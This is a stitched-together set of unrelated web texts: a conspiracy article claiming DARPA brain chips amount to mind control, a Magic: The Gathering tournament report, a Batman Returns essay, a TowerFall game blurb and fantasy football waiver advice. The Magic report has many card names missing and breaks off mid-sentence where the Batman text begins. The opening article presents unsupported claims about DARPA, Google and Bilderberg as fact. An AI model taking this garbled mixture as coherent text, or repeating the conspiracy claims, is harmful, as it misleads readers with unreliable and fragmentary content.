Whenever the establishment wants us to comply with something, they often give us talking points through the media that are designed to frighten us into complacency. If it’s about a vaccine, you may get very sick or die if you don’t go out and take their shot; when campaigning for war or surveillance you might just be shot down by a terrorist; and when voting be very, very afraid that the other candidate will win so you will be sure to cast a vote for one of the two, of which neither will ever really change anything.
“You’re putting a battery in your kid, you’re putting a chip in your kid. And, where does it stop…Where? It’s going too far. This is a child we’re talking about.” – Levey
The Pentagon’s DARPA Spends $62 Million Developing Microchips for Humans
You may have seen a video recently of a cockroach that had its mind literally hacked into, becoming a remote-controlled toy for the operator.
If you take that basic concept and apply it in a much more sophisticated way, that is what DARPA, the Pentagon’s technological development arm, has just been subsidized $62 million dollars to build.
Merging With Machines Doesn’t Make Us Superman – It Makes Us Slaves
In time, people will come to realize that the microchipping of dogs now and humans tomorrow, is pushing us in a direction that people today generally don’t yet understand, and thus aren’t as likely to resist it.
In a statement made by DARPA, the brain chips would:
“[enable] data-transfer bandwidth between the human brain and the digital world, feeding digital auditory or visual information into the brain.” and thereby “open the channel between the human brain and modern electronics.”
In other words, they are developing technologically induced mind control.
However, while DARPA interjects their own propaganda about what these chips would do for us, the reality is the opposite. Merging with machines does not make us Super Human, it makes us Sub-Human.
DARPA Wants To Entrap Us In A Technological Sub-World
The implications of this technology are vast. Could they heighten our senses? Give us quick knowledge through brain-interface internet searches? Or would they be used to create a false perception of our surroundings, torture the dissenters or hook us up to a database of only officially endorsed information as warned about in Orwell’s 1984 as the ministry of truth, creating a completely false and uniform perception of history, science, and all the rest amongst the population?
READ: Mass Holographic Deception & Psychological Manipulation Technologies Already in Use
The Mission Creep Strategy
In the military (which DARPA is a part of) there is a term called “mission creep”. This is a strategy used when you want to invade a country, but don’t have the resources or public support yet, or if the results are too unpredictable. What they’ll do as part of this strategy is occupy neighboring territories and establish military bases around the target country, as well as a number of other things, in order to increase their odds of winning the occupation.
In much the same way, we are being led down a path that is ultimately to our own demise, but in a way that is made seemingly inconspicuous to us. David Icke has dubbed this the Totalitarian Tip Toe.
Google’s Eric Schmidt Also Involved
Disturbingly, the CEO of Google and recurring Bilderberg member Eric Schmidt, who last year attended Bilderberg with ex-DARPA employee turned top Google executive Regina Dugan, also touted support for DARPA’s sinister creations. Past comments have made the idea of giving up personal information – especially in a permanently implanted chip – unnerving, to say the least.
“If you have something that you don’t want anybody to know, maybe you shouldn’t be doing it in the first place.” “We don’t need you to type at all because we know here you are, with your permission, we know where you’ve been, with your permission, we can more or less guess what you’re thinking about.” – Google CEO Eric Schmidt
And he made a specific reference to DARPA’s brain chips in the same interview.
“There’s what I call the creepy line and the Google policy with a lot of these things is to get right up to the creepy line, but not cross it. I would argue that implanting things in your brain is beyond the creepy line…at least for the moment until the technology gets better.”
The narrator of the documentary Take Back Your Power sums it up brilliantly:
“Is he saying that Google’s creepy line is defined only by the current level of technology? What does a higher level of technology have to do with morals or ethics?”
What Kind Of World Are We Creating For Our Kids?
It’s hard to imagine the world that the youth of today are going to have to live in if things aren’t turned around. It is incredibly – and I can’t say this enough – invariably important that this information gets out. The corrupt mainstream media has clearly sided with the conspirators and it is up to the alternative press to cover these stories in any kind of truthful manner.
It seems that every day looks more and more like a chapter out of Huxley’s Brave New World written all those years ago.
Read more articles from Phillip Schneider.
About the Author
Phillip Schneider is a student and a contributing author to Waking Times.
This article (DARPA Teams Up With Mainstream Media to Push Microchips for Your Children) was originally created and published by Waking Times and is published here under a Creative Commons license with attribution to Phillip Schneider and WakingTimes.com. It may be re-posted freely with proper attribution, author bio, and this copyright statement.
~~ Help Waking Times to raise the vibration by sharing this article with friends and family…I've had a lot of problems picking out a deck ever since s of Mirrodin rotated out last fall. Back then all I had to do (if I didn't want to play U/W Delver for a tournament) was find something that felt good against U/W Delver and I would probably do alright at a tournament. Ever since Return to Ravnica entered Standard, I feel like I have been making suboptimal deck choices. I played Jund for a while and never really liked it. I always felt like I was drawing the wrong half of my deck. I then switched to U/W/R and did alright, but I never had any amazing performances. Then Brad Nelson unveiled The Aristocrats: Act II.
I fell in love.
and were my new Delver. I immediately made Top 8 of an IQ and followed it up with a ninth-place finish at a PTQ the next week. I continued to play some form of Aristocrats, but it never felt as strong to me as it did for the first couple weeks of Act II. I was losing to more and more cards, most notably. As soon as I saw Kibler's deck at the World Championship, I knew that I wanted to test it out. I sat down, played a couple matches against Jund and U/W/R, and instantly knew that I had found my deck for the weekend.
Our trip to Salt Lake City was definitely an interesting one. Three friends and I planned on leaving to make the eight-hour drive down to Salt Lake in my car at 4 PM on Friday afternoon. We agreed to meet at a local card shop so we could grab the last couple cards we needed before heading out. Apparently, this was not meant to be. No one showed up until after 5 PM.
While I was waiting for everyone to arrive, I ended up talking to a friend about my plans for the weekend and how I was worried that my car might have problems on the way to the event. He seemed really interested in coming with us and offered us his car. I immediately agreed, as my poor old Honda Civic didn't need any more miles on it. It was only once everyone finally showed and my car was safely stowed at home that it came out that the car we were taking was a much-too-small Mustang. Never one to turn down an adventure, I convinced myself that it would be a blast.
It was not.
Being the lightest out of everyone in the car meant that I had the "privilege" of riding in the middle for the next eight hours. This wasn't pleasant, but at least the top rolled down. After just half an hour on the road we discovered two important things. 1) With the top down, it was incredibly cold while we were moving, and 2) the first fact didn't matter because we were stuck in awful traffic and thus weren't moving. After more than an hour in standstill traffic, we asked Siri for an alternate route. She happily obliged and took us on an hour-long detour that placed us about 500 feet further down the highway. (Along the way, she kindly showed us a moose). We finally ended up at our hotel at five in the morning; this left me with about two and a half hours of sleep before I headed off to battle.
Here's the 75 I ended up running:
I chose the because I noticed that I wasn't able to consistently hit the double red I needed to cast and. The Guildgate performed very well for me all weekend since I was often able to play it on turn 2 after casting a with a mana accelerant.
The Kessig Wolf Run was mediocre for me when it was still in the deck. It wasn't unplayable because it is a very good Magic card, but I would rather be able to cast my spells. Other than that minor change, my maindeck was identical to Brian Kibler's World Championship deck. I did, however, end up making a couple of modifications to the sideboard.
The first change I made was to drop the s for. All week long there were discussions about how inferior the War Chants were and how Kibler felt he should have been playing Chandra instead, so this was an easy change for me to make. seems like what the deck wants after sideboard, especially since the Jund decks have been maindecking recently. I, unfortunately, don't think I cast her more than three times all day long. I remember casting her in the Top 4 and after reading her -7 for the first time sarcastically remarking how good it would be to copy three times.
ended up in my deck mostly for The Aristocrats match up. That matchup can devolve into stalled board states where I am unable to cast s without killing myself because of triggers. Garruk picks off s and then allows you to promote your mana dorks into dragons that close out the game. I also brought him in for grindy matchups where I would be able to use his -1 ability to search out more creatures. His -1 also works wonderfully with, letting you trigger undying and then search up another creature with haste.
was in my sideboard mostly for Jund, although it did come in handy when I played against the B/G Desecration Demon deck. Against Jund, it allows you to take a large creature or a planeswalker, which is usually enough to be able to close out the game. I never want more than five five-drops in the deck at the same time, so I would sideboard out a in the matchups when I needed.
I didn't lose a single game when I resolved a. It did exactly what I wanted it to. I was able to get ahead and then use to lock my opponents out of the game.
is in the deck solely for the mirror matchup. I was hoping that I would be able to catch people off guard with the three in the sideboard, but Kibler had to ruin everything and post a list that also had three in the sideboard (#BlameKibler). I would never side in s against Jund since your game plan is to overload your opponent's removal with enough efficient threats. will only end up giving the Jund player a two-for-one. I could also see bringing them in against a red-based Aristocrats deck. If you can bait out a on another creature, it should be able to do a lot of work for you. It allows you to break the board stall that and s create.
I sideboarded out and often, leaning on and to deal with troublesome creatures like. I'm not sure if this was correct, but I knew I always wanted to have at least three s, Thundermaws, and Domris in my list at all times.
I never boarded in, but there wasn't any time it would have been better than a non-Elf spell. I think that Flames is much too slow for the mirror matchup, and I didn't end up bringing it in for the mirror in the finals. Pillar, on the other hand, is amazing against the mirror, and I could see playing two in this deck.
After my mere two and a half hours of sleep, I dragged myself out of bed and headed down to the convention center in a daze. It wasn't until at least three coffees later that I started to feel remotely like myself. No worries, however, as I was here to battle, and if I didn't do well, I could drop, get some sleep, and come back the next day to try again. Fortunately, I didn't have to drop because I played pretty well all day despite feeling exhausted.
Rounds 1 and 2 went very well for me. I played against a W/R Humans deck in round 1 that was very similar to the list that Craig Wescoe played at the World Championship. I curved s into Thundermaws, and that was enough. In round 2, against Mono-Black Control, I played a turn 3 Thundermaw that went all the way. I was on a roll until I got to round 3. I sat down across from my Jund opponent and subsequently got demolished. I don't think it took more than eight minutes for me to be swept. It was really frustrating.
I cranked up my music and listened to "my song" on repeat until the next round started. ("Master of Art" by Laura Stevenson). This is a habit I picked up after reading an interview of Kibler's where he talked about picking one song and listening to it to get in the zone. This has always helped me focus, and Saturday was no exception. I was pumped up and ready to play the best Magic I could. It didn't matter how well I did as long as I was playing my best. I then proceeded to rattle off three wins in a row against Junk Aristocrats, Esper Control, and a R/G Aggro list running Burning Tree-Emissary.
In round 7, I had a feature match on camera against Eric Vasilevsky, who was playing Jund. I think Eric and I were both nervous about being in a feature match and subsequently made a couple of glaring play mistakes during our match. During our first game, he forgot a trigger, which I responded to by making a bad bloodrush with a on a mana accelerant and forgetting an undying trigger on my.
I lost the first game against Eric and was looking dead in the second when a hasty grabbed a rather large, and we were off to the third game.
The only thing I wrote down about this game is "BURNING EARTH!!!" I managed to cast a while I had a Domri out and my opponent only had a Beast token. I then proceeded to miss an enormous amount of +1s and feared that I was going to perish to a Beast token even though I was locking my opponent out with two s. Thankfully, I finally found an answer to that 3/3 that was bothering me, and I was on to my win and in.
I ended up beating a very friendly U/W player in game 1 with turn 3 into turn 4. He cast, and I followed up with another to finish the game off. He unfortunately mulled to four, and I was off to draw into the Top 8.
The only problem with drawing into the Top 8 was that there was an X-1-1 who had better breakers than me and would be able to bubble me out if he won. I sat down and told my opponent |
mechanic with a faded “R” on his jump suit uniform. Marlon Wayans was even cast in the role and an action figure was made until the character’s last-minute excision from the screenplay. Wayans still gets residual checks for his two-picture Robin deal (Joel Schumacher later opted to recast Robin with white actor Chris O’Donnell for Batman Forever).
Christmastime in Hell
The actual production of Batman Returns went relatively well after more pre-production nightmares. Danny DeVito was the first and only choice to play the Penguin, a role that Waters admitted he wrote for with DeVito in mind, but the casting of Catwoman was an ordeal unto itself. Despite casting Annette Bening in the role, even Burton and company couldn't anticipate how strange the role's importance would become. After Bening had to drop out at the last minute due to pregnancy, many, many actresses campaigned for the part through traditional channels—including Jennifer Jason Leigh, Madonna, Bridget Fonda, and Cher—but they all paled in comparison to Sean Young, the actress who played Vicki Vale for several days until a horse riding injury caused her to be replaced on the original Batman production.
Convinced that as a result she should have been given the female lead in Batman Returns, Young appeared unannounced on the Warner Bros. lot in a homemade Catwoman costume with the intent of making an on-the-spot audition for Burton. The director reportedly hid under his desk from what he later described as a “UFO sighting,” but producer Mark Canton recalled the event vividly for Shadows of the Bat.
“Michael Keaton and I saw Sean Young dressed as Catwoman leap over my sofa and say, ‘I am Catwoman!’ We looked over at each other and went, ‘Woah.’”
Burton wisely went on to finally cast Michelle Pfeiffer in one of her most iconic roles.
Burton had similar struggles with WB about the new approach to the film, causing him to abandon the sets and aesthetic of the 1989 film. Tragically, the designer of those Oscar winning sets, Anton Furst, committed suicide in 1991, but WB had left them untouched at Pinewood Studios in the UK for the inevitable sequel. However, Burton was adamant that a new look and approach be designed from the bottom up for Batman Returns, leading to the claustrophobic gothic fantasias created by Bo Welch at WB and Universal’s Californian soundstages.
“I wanted to use American actors in supporting parts,” Burton told Empire in 1992. “I felt Batman suffered from a British subtext. I loved being over there, but it’s such a different culture that things got filtered. They could have brought somebody else in for the sequel, and had the same sets, and shot in London, but I couldn’t do that because I’d have lost interest. I wanted to treat it like it was another movie altogether—there’s no point in doing the exact same thing again.”
Indeed, the result was a very, very different movie.
The Greatest Anti-Christmas Gift of All
After all the production grappling hooks and fights, it’s still a bizarre wonder to behold: a superhero film in the studio system that purely and unapologetically revokes the mainstream culture it pertains to exist for. In the days of the Marvel Studios assembly line, this is a Christmas miracle.
Batman Returns is not a Batman movie; it’s a modern psychosexual gothic fairy tale that happens to enjoy some broad similarities with characters that have appeared in DC Comics. In short, it really is a Tim Burton movie, much more so than even the studio could have expected.
Rather than having a three-act structure of escalating narrative tension, this Batman sequel acts as an intentionally obtuse physical manifestation of its supposed protagonist’s fractured psyche, as well as a denouncement of the culture that birthed Batman and made him a merchandising must-buy item during the heights of Bat-mania—a fact someone may have tried to dull since a self-satirical “Bat-mania” merchandising store that gets smoked by the Penguin’s goons was erased in editing, as seen in the picture below.
This actual purpose of Burton and Waters’ approach is so overbearing that Wesley Strick was brought aboard to do an uncredited polish of Waters’ final draft. The main reason? WB wanted Penguin to have a master plan, which only added to the nastiness of Burton's reverse Moses. If Waters and Burton had Penguin abandoned by his parents as a baby in a raft on Christmas Eve, Stitch gave us the relatively dippy third act scheme of Penguin trying to lure all of Gotham’s first born children into the sewer and to a deep watery grave. This then gives way to blowing them all up with rocket-sporting penguins.
But that paradoxically disturbing kitsch did little to undermine the true purpose of the film: all three villains, including Christopher Walken’s scene-stealing and truly evil businessman, Max Shreck, are twisted reflections of the hero.
Shreck is a populist businessman who makes fools out of Christmas revelers early in the movie by gaining their love with worthless presents tossed into a crowd (not unlike how Joker earned Gothamites’ adulation by throwing away $20 million to the greedy and materialistic masses in Batman). He shares the same public persona that Bruce Wayne mimics, except there is not much beyond his greed. Maybe Bruce Wayne could be every bit as vain and self-interested as his rival billionaire if the death of his parents hadn’t set him on the path of the freak?
Shreck is also thus the true protagonist of the movie, as his proactive manipulation sets everything in motion. Keaton has the wonderful early moment of sitting near-comatose in his brooding Wayne Manor until the Bat-signal comes on, but Shreck waits for no one else’s time. He’s the reason the Penguin made good on his fiendish fantasies of bedeviling Gotham. Initially, Penguin may have wanted revenge on all the wealthy children that had the life he never enjoyed, but the blubbering freak is also the character that Burton spends the most time with and is by far the most sympathetic towards.
As seen in an above portrait, drawn by Burton’s own hand, the Penguin’s childhood is imagined to be an unhappy one robbed of the materialism afforded to Bruce Wayne and the far less vengeful Max Shreck. While Wayne used his wealth to become a vigilante, and Shreck uses it to procure more power—as Walken gleefully muses, “There’s no such thing as too much power; if my life has a meaning that’s the meaning”—Penguin just longs to be accepted like an even more grotesque version of the Phantom of the Opera that would not have tween theatergoers swooning at his sorrow.
further reading - Batman The Animated Series - 25 Essential Episodes
When the Penguin’s monstrous visage is embraced by the fickle masses that literally buy anything Shreck sells them (he owns all the department stores on Christmas), Oswald is contented until Shreck convinces him to run for mayor. This is merely done to obtain more of that aforementioned power from the mindless electorate who sigh for Penguin one day and throw tomatoes at him the next. Oswald Cobblepot is a freak of nature, an oddity as coded by his animal nom de guerre as Batman and Catwoman, but he longs for acceptance. He only begins blowing up storefronts when Shreck eggs him on to create a phony crisis for a recall election, and it’s only when he’s rejected by society that he literally goes Biblical on Gotham.
The end of the movie is not focused on Batman, because his villains are both the stars and his character arc. As they reach and fail, the empty gestures of the Dark Knight’s pathetic crusade are underlined and unpacked for both the hero and his audience. That is why the climax of the picture is about Selina Kyle’s revenge and the Penguin’s ultimate demise, a death treated with far more tragedy than Bruce Wayne’s pity parties.
During their final confrontation, the boorish Penguin hisses to Batman, “You’re just jealous because I’m a genuine freak, and you have to wear a mask.” Batman concedes, “You might be right.” Burton and Waters certainly think so.
further reading: Batman & Robin - The Judas Defense
But the crowning achievement of Batman Returns is Selina Kyle’s expressionistic arc to the edges of 1990s feminism and beyond.
Forget comic book changes—for a more panel-accurate Catwoman, see the also excellent and memorable (if intentionally subdued) turn by Anne Hathaway in The Dark Knight Rises—Pfeiffer’s Catwoman is one of the all-time great villainesses of film, and is certainly a richer role than any actress has enjoyed in a superhero movie since.
Pfeiffer plays Selina Kyle as a modern day storybook princess that is decidedly the antithesis of the kind that sell out Disney department stores every December. Selina Kyle begins the picture as a mousy secretary who doesn’t even get a close-up for the first 25 minutes of the movie. Taught be the “good girl” her whole life, Selina lives in a one-bedroom apartment adorned with all the codifying trinkets of eternal girlhood expected of her. Dollhouses; stuffed animals; pink furniture. Yet, strangely, her prince has never come, but she is told via intrusive phone solicitors that if she buys the right perfume that maybe she’ll be able to seduce her boss and get a promotion.
And as it so happens, Selina’s boss is, of course, Max Shreck. He instigates her transformation when he makes her admit that he is being “mean to someone so meaningless.” This is her plea for mercy before he has his way with her and pushes her out the top floor of a skyscraper. The fall should have killed her and probably did, but in typical Burton fairy tale logic, she is resurrected by cats and she now has nine lives. In the hands of typical studio hacks, this would have been unbearably awful (and it was when WB made a belated cash-in spin-off with 2004’s Catwoman, starring Halle Berry), but in Batman Returns, it serves a purpose for both her tragic arc, as well as Batman’s.
Selina Kyle becomes the Catwoman and in the process destroys all tokens of her submissive girlishness, taking control of her sexuality with a fetishistic homemade costume. But while Burton plays up the kinkiness of her relationship with Batman by having their foreplay fights devolve into actual cat-licking make-out sessions, Selina is never anything less than victimized or marginalized by men in the story.
After joining forces with Penguin, he decides to kill her when she won’t go to bed with his flippers. Having a romance with Bruce Wayne during the day leads to him trying to arrest her at night. And with each negative encounter, her costume is further destroyed. A literal representation of the expressionist ideal, Selina can only give order and sanity to her world by making this cat-costume. After each tear and rip, her visually expressed dream crumbles, as does her mental faculties. The influence on this concept is heavily apparent by simply the name of the man who first abused her by pushing her out that window: Max Shreck, which is also the name of the actor who played the vampiric Count Orlock in F.W. Murnau’s 1922 masterpiece, Nosferatu.
At the end of the picture, the Disney happy ending is achieved. Realizing that Selina Kyle and Catwoman are one in the same, Batman unmasks himself as Bruce Wayne, crystallizing how she (as with Penguin and Shreck) is a doppelganger for his own inner-turmoil. “We’re the same, split right down the center,” Bruce pleads, begging her not to lose her soul by murdering Shreck. She agrees they are the same, but Batman is a hypocrite who lost his own soul long ago when he gave into to his demons and put on this costume; we’ve even seen him kill plenty of times in this very movie. To give into Bruce would be allowing a man to once more make her decisions—to domesticate her for his own ends.
“Bruce, I would love to live with you in your castle forever, just like a fairy tale,” she deliriously mumbles before scratching him across the face. “I just couldn’t live with myself. So don’t pretend this is a happy ending.”
Indeed, it is not; it’s a tragedy of operatic proportions, a fact that's heightened by Danny Elfman’s eerily melancholy score. Catwoman rejects finding redemption with Batman and does murder Max Shreck in the sewers. This is the beating heart of Batman Returns; Bruce Wayne loses because he’s only fighting shades of himself. Batman fails to stop Catwoman from following his dark path when she kills Shreck and gets away with it, and he likewise suffers only a pyrrhic victory over the Penguin, as he watches his grotesque reflection die from a self-inflicted fall. The monster is carried off by mournful penguin ushers to his aquatic grave.
Despite the colorful costumes, the giant rubber duckie Penguin gets around on, and plentiful groan-inducing puns spat out like a horrid open mic night by all the villains, Batman Returns is infinitely darker than Christopher Nolan’s The Dark Knight Trilogy. While each of Nolan’s masterful films is far more violent than Batman Returns, and each is littered with more serious downers, even its dreariest entry, The Dark Knight, concludes somewhat triumphantly. The Batman may only win because of a political conspiracy and cover-up, but he is still the “hero Gotham deserves.”
There are no heroes in Batman Returns. Tim Burton’s second film ends in complete misery and cynicism on Bruce Wayne desolately alone for Christmas Eve with only Alfred Pennyworth and Selina Kyle’s abandoned cat to keep him company. He failed to save Catwoman and he admitted to the Penguin that he’s jealous of the short man’s natural freakishness. Returning to the noirish undertones of the first Batman film, Burton has a truly noir ending where the hero fails to simply be even that. The materialistic masses of Gotham City go on oblivious to the evil machinations of the owner of their department stores, and Bruce vanishes into the snowy darkness.
Besides Nolan, no filmmaker has had so much carte blanche in making a superhero movie, nor has one reached the heights of artfulness attmpted by these two filmmakers. There are better superhero movies than Batman Returns (I wouldn't even call it Burton's best Bat-film), but few are as personal, and none are as unforgivably grim… on Christmas.
Perhaps unsurprisingly, we never saw Tim Burton’s Batman 3 (which is an article unto itself), but he still got his own final word on the Caped Crusader. That's probably the greatest gift of all. With goodwill toward men. And women.
David Crow is the Film Section Editor at Den of Geek. He’s also a member of the Online Film Critics Society. Read more of his work here. You can follow him on Twitter @DCrowsNest.TowerFall Ascension is the definitive version of the hit archery combat game. Inspired by classics from the golden age of couch multiplayer, it's a 4-player local party game centering around hilarious, intense versus matches. The core mechanics are simple and accessible, but hard to master and combat is fierce. Loot treasure chests for game-changing power-ups, master the art of catching arrows out of the air, or descend on your foes and stomp them into submission. TowerFall is best played competitively with friends, cross-legged on the floor within punching distance of each other.
New in Ascension is the 1- or 2-player co-op Quest mode. Players work together, fighting off a variety of monsters and enemy archers across the land of TowerFall. It's a new adventure to explore when you don't have more friends handy to square off against.
New features in TowerFall Ascension include:
-Brand new 1- or 2-player co-op Quest mode
-50 additional Versus arenas, for a total of 120 unique maps
-More game-changing power-ups, such as Drill Arrows that burrow through walls
-4 new unlockable, playable archers, for a total of 8
-A huge list of variants to customize your matches - a total of 75 ways to mix things up
-Plenty of hidden secrets and surprises to discover with your friends
http://www.mattmakesgames.comFantasy Football Waiver Wire Pickups
How are you owners feeling after the first quarter of the season? Better get ready because we have another week to hit these waivers hard as the fantasy season starts heating up. We saw a ton of points scored in Week 4 and saw Mitchell Trubisky go #Kaboom. So who you are going to add this week?
Key Tips:
Stay ahead of your bye weeks. In Week 5 we have the Buccaneers and Bears on bye weeks. In Week 6, the Lions and Saints will be on bye weeks.
If you have been waiting on a player and you still have not seen it after four weeks, it’s time to move on. Especially if you are 0-4 or 1-3, you cannot afford to hold on anymore. It’s time to make changes to your roster, so be more aggressive on the waiver wire.
Block your opponents. If you see your opponent needs a tight end pick up a tight end on waivers even if you don’t need one.
Without further ado, here are your waiver wire targets for Week 5!
Week 5 Waiver Wire QB Pickups
Marcus Mariota
ESPN: Less than 21% owned
Could Mariota finally be healthy? It would appear so after the quarterback threw a season-high 43 attempts and compiled 344 passing yards and two touchdowns. He also added in 1o rushes for 46 yards and another touchdown. This is the Mariota that many including myself envisioned seeing him play at during the offseason. In Week 5, Mariota takes on the Bills in a favorable match-up.
Derek Carr
ESPN: Less than 21% owned
Carr has been throwing the ball a lot so far in 2018. He ranks fourth in total passing yards (1,373) and faces a Chargers defense that misses Joey Bosa in Week 5. The Chargers defense so far this season has allowed at least 245 passing yards in each game and has allowed an average of 288 passing yards per game. With Carr averaging over 340 passing yards per game this season, I like his chances to hit 300 passing yards or more against Los Angeles. The Chargers defense has also allowed multiple touchdowns passes to quarterbacks this season in three of their four games.
Blake Bortles
ESPN: Less than 21% owned
History has shown us that Bortles produces better in fantasy when Leonard Fournette does not play. That happened again on Sunday when Fournette was forced to miss time, Bortles stepped up and threw for 388 yards and two scores. With Fournette looking to miss even more time, Bortles could be leaned on more. In Week 5, Jacksonville will face-off against the Chiefs awful passing defense who have allowed over 22 fantasy points to 3 out of 4 quarterbacks they have faced. And again, Bortles traditionally plays much better regarding fantasy when Fournette misses. Bortles averages 18.67 fantasy points per game with Fournette and 21.71 fantasy points per game without Fournette.
Joe Flacco
ESPN: Less than 17% owned
Four straight games with at least 15 fantasy points, Flacco has been vastly underrated at quarterback in fantasy formats in 2018. He is actually on pace for 5,012 yards and a 32:8 TD/INT ratio. In Week 5, Flacco will be playing in Cleveland against the Browns who gave up over 33 fantasy points to Derek Carr last week in Oakland.
Mitchell Trubisky
ESPN: Less than 20% owned
Trubisky absolutely exploded in Week 4 versus the Buccaneers throwing for 354 yards and six total touchdowns for a total of 43.5 total fantasy points. Trubisky has actually increased his yardage output now in four consecutive weeks. Keep in mind that he is on a bye week in Week 5, but his upcoming schedule: Dolphins, Patriots, Jets, and the Bills. Things could just be getting started for Trubisky.
Jameis Winston
ESPN: Less than 9% owned
The Ryan Fitzpatrick #FitzMagic era is over. Winston replaced Fitzpatrick after the latter struggled in the first half against the Bears. Not sure Winston was much better throwing for two interceptions, but with their bye week approaching the change at quarterback sees imminent. That being said, with Winston taking the reigns in Week 6, they will be playing the Atlanta Falcons who have been destroyed by opposing quarterbacks this season. Over the past three weeks starting quarterbacks have averaged 31.64 fantasy points versus the Falcons. And interestingly enough Winston averages more fantasy points per game without O.J. Howard. 18.89 fantasy points per game with Howard and 21.18 fantasy points per game without Howard. No O.J.? No problem.
*Priority Order* FAAB Spend: Bortles, Carr, Mariota, Winston, Trubisky, Flacco 5% of the total budget
Week 5 Waiver Wire RB Pickups
Nyheim Hines
ESPN: Less than 16% owned
What receiver led the Colts in targets in Week 4? Well, Chester Rogers has 11 targets, but so did running back Nyhiem Hines who had a team-high nine targets on those targets. 11 targets is a significant target share especially with T.Y. Hilton looking like he is going to miss Week 5 versus the Patriots. The Colts will be looking for playmakers that can create favorable opportunities against the Patriots. I believe that player will be Hines in Week 5. He has been dominating in the passing game and truly has become the Darren Sproles of the Colts’ offense. 73% of the snaps played in Week 3 followed up by 69% of the snaps played in Week 4. 14% target share this season is second to only Hilton who is doubtful for Week 5.
FAAB Spend: 10%
T.J.Yeldon
ESPN: Less than 47% owned
Well, Leonard Fournette is injured once again, so if Yeldon is on your waiver wire, you are going to want to scoop him back up. Yeldon has produced in games that Fournette as missed so if you are need of a running back, he should be your primary target. Yeldon has scored double-digit fantasy points in all, but one game this season and faces the Chiefs in Week 5. Chiefs have allowed the second most fantasy points to the running back position.
FAAB Spend: 15%
Tarik Cohen
ESPN: Less than 61% owned
Cohen finally had the game we were all looking for, and it came at the expense of running back Jordan Howard. Cohen out-touched Howard 20-11. The Bears seemed to reach their peak in Week 4, so it would only make sense that they would try to run their offense moving forward with Cohen possibly featured more. Again, a great addition in PPR formats if somebody dropped him after the bye week.
Bears are on a bye week, but if you don’t need anyone, pick him up and stash him for later.
FAAB Spend: 10%
Nick Chubb
ESPN: Less than 16% owned
The first 100-yard game for Nick Chubb came on just three carries. Chubb has the talent to thrive in the Cleveland backfield it’s just a matter of touches. Carlos Hyde still has the grasp on the starting running back role and unless he gets hurt, it could be while for Chubb. However, Hyde has a history of injuries, so stashing Chubb could pay dividends sooner rather than later.
FAAB Spend: 4%
Ronald Jones
ESPN: Less than 18% owned
Jones was active for the first time this season and led the Buccaneers in rushing yards. Jones only had 29 rushing yards on 10 attempts, but considering the game script of this game Tampa Bay never really had a chance to get the ground game going. It is encouraging to see that Jones out-touched Peyton Barber and Jones should see the first crack at the RB1 job after the Buccaneers conclude their bye week.
Another pro-active waiver wire pickup suggestion as the Buc’s are on a bye week.
FAAB Spend: 3%
Duke Johnson Jr.
ESPN: Less than 57% owned
Duke Johnson had his best game to date in 2018 in Week 4. Comes at no surprise that his best game comes when the Browns start their new quarterback Baker Mayfield. If somebody dropped Johnson, make sure you add him especially in PPR formats.
FAAB Spend: 2%
Week 5 Waiver Wire WR Pickups
Keke Coutee
ESPN: Less than.5% owned
FAAB Spend: 10%
15 targets!? Yes, you heard that right. In Coutee’s NFL debut he had 11 receptions for 109 yards on those 15 targets. Now the thing to consider here is that Will Fuller exited this game with a hamstring injury. The Houston offense is very top-heavy when it comes to target share. It is condensed at the top with DeAndre Hopkins and Will Fuller through the past two weeks receiving 57% of the total target share. That’s why Coutee’s upside relies upon whether Fuller will be good to play or not. If Coutee can find himself in that number two receiver role, he could benefit in Week 5.
Dede Westbrook
ESPN: Less than 13% owned
FAAB Spend: 8%
Westbrook saw a season-high in snaps (74.03%) and led the team with 13 targets in Week 4. Westbrook has now scored double-digit fantasy points in 3 out of 4 games in PPR formats. Overall, it has been tough to decide which Jacksonville wide receiver you can trust on a weekly basis, but I think Westbrook can be trusted in Week 5 versus the Chiefs. The Chiefs have allowed the most yards after the catch this season, and that has been Westbrook’s strength this season. Westbrook in 2018 has the fifth most yards after catch yards (172) in the NFL. If you miss out on Westbrook, Donte Moncrief could also be a viable option.
Taywan Taylor
ESPN: Less than 4% owned
FAAB Spend: 1%
Rishard Matthews is gone, and Taywan Taylor seems to have taken over the number two wide receiver role behind Corey Davis. Taylor out-snapped Tajae Sharpe 63% to 44% and saw nine total targets for 77 receiving yards in Week 4. That tied for second most with Dion Lewis. The Titans offense looks to be on the uprise with Marcus Mariota finally looking healthy. If the offense can make the jump like many predicted in the offseason, Taylor could be a great fantasy add.
Taylor Gabriel
ESPN: Less than 7% owned
FAAB Spend: 3%
Gabriel saw ten targets in Week 3, which definitely raised some eyebrows amongst fantasy owners. But then in Week 4, Gabriel exploded for seven receptions for 104 yards and two touchdowns. The biggest difference in the game outside of the fact that Tampa Bay can’t play defense was the absence of Anthony Miller. Without Miller, Gabriel was able to have a more featured role, and I don’t think this is a fluke. We have seen Gabriel produce at an extremely high fantasy level before so I would buy him while he is cheap. Owners will not be aggressive bidding on him because of his bye-week, but he is for sure worth adding. Through 4 weeks, Gabriel leads the Bears in receptions and is second on the team in targets.
Jamison Crowder
ESPN: Less than 54% owned
FAAB Spend: 3%
Check your waiver wire for Jamison Crowder folks. The Redskins were on bye in Week 4, and after his slow start do not be surprised to see if Crowder was dropped. But here’s the thing. You need to add him and play him this week in his matchup versus the New Orleans Saints. No team has allowed more fantasy points to the wide receiver position than the Saints this season. Specifically, slot and secondary receivers have had big games against New Orleans. Sterling Shepard, Mohamed Sanu, Antonio Callaway, Chris Godwin, and DeSean Jackson all had productive days versus the soft New Orleans defense.
Ryan Grant
ESPN: Less than 11% owned
FAAB Spend: 1%
Grant has scored double-digit fantasy points in three out of the four weeks this season, and behind T.Y. Hilton has played the most snaps at the wide receiver position for the Colts. With Hilton’s availability, ailing Grant becomes a plug in play piece at the wide receiver position. He should see an uptick in targets and the Colts will most likely be in a negative game script on Thursday night versus the Patriots. The Patriots have allowed the sixth-most fantasy points to the wide receiver position so far through 2018.
Mohamed Sanu
ESPN: Less than 50% owned
FAAB Spend: 1%
The Falcons offense is on fire right now, and that should continue into Week 5. The Falcons are playing the Steelers who have allowed the third most fantasy points to the wide receiver position. Specifically, they have also allowed the most air yards of any team this season. Airyards are a great predictor of future fantasy production so if you are looking for a receiver with some upside, playing Sanu as part of the Falcons offense won’t disappoint.
Chris Conley
ESPN: Less than.5% owned
FAAB Spend: 1%
